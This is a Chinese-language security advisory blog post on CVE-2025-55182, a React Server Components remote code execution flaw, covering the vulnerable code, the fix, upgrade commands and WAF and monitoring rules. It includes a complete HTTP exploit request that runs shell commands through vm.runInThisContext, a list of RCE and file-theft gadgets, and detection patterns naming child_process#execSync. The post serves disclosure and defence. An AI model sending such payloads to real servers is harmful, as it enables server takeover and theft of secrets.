🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

React Server Components 的致命漏洞CVE-2025-55182, CVSS 10.0 的未授權遠程代碼執行

⚠️ 嚴重警告:如果你在使用 React Server Components,請立即檢查並升級到安全版本!

image.png

📌 漏洞速覽

  • CVE編號:CVE-2025-55182
  • 嚴重程度:CVSS 10.0(最高級別)
  • 漏洞類型:未授權遠程代碼執行(RCE)
  • 影響範圍:React 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • 修復版本:19.0.1, 19.1.2, 19.2.1

2025年12月3日,React 團隊緊急發布安全公告,披露了一個影響 React Server Components 的嚴重安全漏洞。攻擊者可以在無需身份驗證的情況下,通過精心構造的 HTTP 請求實現遠程代碼執行,完全控制伺服器。

🎯 誰受影響?

如果你在使用以下任一技術棧,請立即檢查

  • Next.js(所有使用 React Server Components 的版本)
  • React Router(使用 RSC API)
  • Waku
  • Expo(使用 Server Components)
  • Redwood SDK
  • @vitejs/plugin-rsc
  • ✅ 任何直接使用 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 的專案

重要提示:即使你的應用沒有實現任何 React Server Function 端點,只要支持 React Server Components,就可能存在風險!

🔍 漏洞原理深度解析

核心問題:原型鏈污染

這個漏洞的根本原因在於 React 在處理 Server Function 請求時,使用了不安全的屬性訪問方式

漏洞程式碼位置

漏洞位於 react-server-dom-webpack 包的 requireModule 函數中:

// 漏洞程式碼(React 19.0.0)
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 省略其他程式碼 ...
  return moduleExports[metadata[2]];  // ⚠️ 危險:訪問了原型鏈!
}

問題分析

在 JavaScript 中,使用方括號 obj[key] 訪問屬性時,會遍歷整個原型鏈。這意味著:

const fs = require('fs');
fs['readFileSync']  // ✅ 正常:訪問自己的屬性
fs['constructor']   // ⚠️ 危險:訪問到 Object.prototype.constructor
fs['__proto__']    // ⚠️ 危險:訪問到 Object.prototype

攻擊者可以利用這個特性,通過 #constructor#__proto__ 等特殊屬性名,訪問到模塊導出對象的原型鏈屬性。

攻擊流程

image.png

完整的攻擊流程如下:

1. 攻擊者發送惡意 HTTP POST 請求
   ↓
2. 請求包含 $ACTION_REF_0 和 $ACTION_0:0 字段
   ↓
3. decodeAction() 解析請求
   ↓
4. resolveServerReference() 解析模塊ID(如 "vm#runInThisContext")
   ↓
5. requireModule() 加載模塊並訪問導出
   ↓
6. moduleExports[metadata[2]] 访问原型鏈 ⚠️
   ↓
7. 返回危險函數(如 vm.runInThisContext)
   ↓
8. 函數被調用,執行攻擊者代碼 💥

image.png

實際攻擊示例

攻擊者可以構造如下請求:

POST /formaction HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}
------Boundary--

這個請求會:

  1. 加載 vm 模塊
  2. 訪問 vm.runInThisContext 方法
  3. 將攻擊者的代碼作為參數綁定
  4. 執行時運行 execSync('id'),實現命令執行

💣 攻擊向量(RCE Gadgets)

根據安全研究,以下 Node.js 模塊如果存在於 webpack bundle 中,都可以被利用:

直接 RCE 向量

模塊 方法 攻擊效果
vm runInThisContext 在當前上下文執行任意 JavaScript
vm runInNewContext 在新上下文執行(可逃逸沙箱)
child_process execSync 直接執行 shell 命令
child_process execFileSync 執行二進制文件
child_process spawnSync 創建新進程

文件操作向量

模塊 方法 攻擊效果
fs readFileSync 讀取任意文件(如 .env、私鑰)
fs writeFileSync 寫入任意文件(持久化後門)

真實場景中的風險

這些危險模塊在真實專案中非常常見:

  • fs:幾乎所有 Node.js 應用都會使用(145M+ 周下載量)
    • 常見包:fs-extragray-mattermultersharp
  • child_process:構建工具、PDF 生成、圖像處理常用(103M+ 周下載量)
    • 常見包:execashelljspuppeteersharp
  • vm:模板引擎、測試框架使用(21M+ 周下載量)
    • 常見包:ejspughandlebarsvm2

這意味著大多數使用 React Server Components 的應用都可能存在可被利用的危險模塊!

🛡️ 修復方案

立即升級

React 團隊已經在以下版本中修復了漏洞:

  • react-server-dom-webpack: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-parcel: >= 19.0.1, >= 19.1.2, >= 19.2.1
  • react-server-dom-turbopack: >= 19.0.1, >= 19.1.2, >= 19.2.1

修復程式碼

修復後的程式碼使用了 hasOwnProperty 檢查,確保只訪問對象自身的屬性:

// 修復後的程式碼(React 19.2.1+)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

框架特定升級指南

Next.js

# 根據你的 Next.js 版本選擇對應的修復版本
npm install [email protected]   # for 15.0.x
npm install [email protected]   # for 15.1.x
npm install [email protected]   # for 15.2.x
npm install [email protected]   # for 15.3.x
npm install [email protected]   # for 15.4.x
npm install [email protected]   # for 15.5.x
npm install [email protected]   # for 16.0.x

React Router

npm install react@latest
npm install react-dom@latest
npm install react-server-dom-parcel@latest
npm install react-server-dom-webpack@latest
npm install @vitejs/plugin-rsc@latest

其他框架

  • Expo: npm install react@latest react-dom@latest react-server-dom-webpack@latest
  • Waku: npm install react@latest react-dom@latest react-server-dom-webpack@latest waku@latest
  • Redwood SDK: 確保 rwsdk>=1.0.0-alpha.0,然後升級 React 相關包

🔒 額外防護措施

1. 依賴審計

檢查你的專案是否包含危險模塊:

# 檢查是否包含危險模塊
npm list | grep -E "(vm|child_process|fs)"

2. Next.js 配置優化

next.config.js 中排除危險包,防止它們被打包:

module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs'
  ]
}

3. WAF 規則

如果你的應用部署在支持 WAF 的環境,可以添加以下規則攔截可疑請求:

# 攔截包含危險模式的請求
$ACTION_*#constructor
$ACTION_*#__proto__
$ACTION_*#prototype
vm#runInThisContext
child_process#execSync
fs#writeFileSync

4. 監控和警報

監控日誌中的異常模式:

  • 包含 #constructor#__proto__ 的 Server Action 請求
  • vmchild_process 等模塊的異常訪問
  • 異常的 Server Function 調用

📊 漏洞時間線

  • 2025年11月29日:Lachlan Davidson 通過 Meta Bug Bounty 報告漏洞
  • 2025年11月30日:Meta 安全團隊確認並開始修復
  • 2025年12月1日:修復完成,開始與托管提供商和開源項目協調
  • 2025年12月3日:修復發布到 npm,公開披露為 CVE-2025-55182

image.png

🎓 技術啟示

這個漏洞給我們幾個重要的安全啟示:

1. 原型鏈訪問的風險

在 JavaScript 中,使用方括號訪問屬性時,永遠要考慮原型鏈。對於用戶可控的屬性名,必須使用 hasOwnPropertyObject.prototype.hasOwnProperty.call() 進行檢查。

2. 反序列化的危險性

任何涉及反序列化用戶輸入的地方都是高風險區域。React Server Components 的 Flight 協議本質上就是一種序列化/反序列化機制,需要嚴格驗證。

3. 最小權限原則

即使修復了漏洞,也應該儘量減少伺服器端 bundle 中包含的危險模塊。只打包真正需要的程式碼。

4. 深度防禦

Next.js 等框架在 React 底層之上添加了額外的驗證層,這種深度防禦策略在關鍵時刻起到了保護作用。

🔬 技術細節(進階)

為什麼 Function 構造函數不夠?

你可能會想:既然可以訪問 constructor,為什麼不直接用 Function 構造函數執行代碼?

問題在於,Function.bind(null, 'code')() 只會創建一個函數,而不會執行它:

Function.bind(null, 'return 1+1')()  
// 返回:function anonymous() { return 1+1 }
// 不會執行!

vm.runInThisContext('1+1')立即執行並返回結果:

vm.runInThisContext('1+1')
// 返回:2(已執行)

這就是為什麼攻擊者需要 vmchild_process 這樣的"執行型"gadget。

Next.js 的額外保護

在 Next.js 中,攻擊難度更高,因為:

  1. Manifest 驗證:Next.js 的 manifest 只包含註冊的 Server Action 雜湊,不包含原始模塊引用
  2. 框架層驗證resolveServerReference() 會在調用 requireModule() 之前進行驗證
  3. 模塊隔離:危險模塊通常不會被打包到 Server Components bundle 中

但這不意味著 Next.js 應用完全安全——如果攻擊者能夠:

  • 劫持現有的 action ID
  • 利用 manifest 的原型污染
  • 找到 bundler 的特殊行為

仍然可能實現攻擊。

📚 相關資源

⚠️ 總結

CVE-2025-55182 是一個極其嚴重的漏洞,CVSS 10.0 的評分意味著:

  • 無需身份驗證即可利用
  • 遠程代碼執行,完全控制伺服器
  • 影響廣泛,幾乎所有使用 React Server Components 的應用

如果你在使用 React Server Components,請立即:

  1. ✅ 檢查你的 React 版本
  2. ✅ 升級到修復版本
  3. ✅ 檢查依賴中是否包含危險模塊
  4. ✅ 配置 WAF 規則(如果可能)
  5. ✅ 監控異常請求

安全無小事,及時更新是關鍵!🔐


作者注:本文基於 React 官方安全公告和實際漏洞研究編寫。如果你發現了本文中的錯誤或需要補充,歡迎指正。

免責聲明:本文僅用於安全研究和教育目的。請勿將本文中的技術用於非法用途。


原文出處:https://juejin.cn/post/7579589262623293459


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝15   💬3   ❤️3
326
🥈
我愛JS
📝1   💬3   ❤️2
45
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付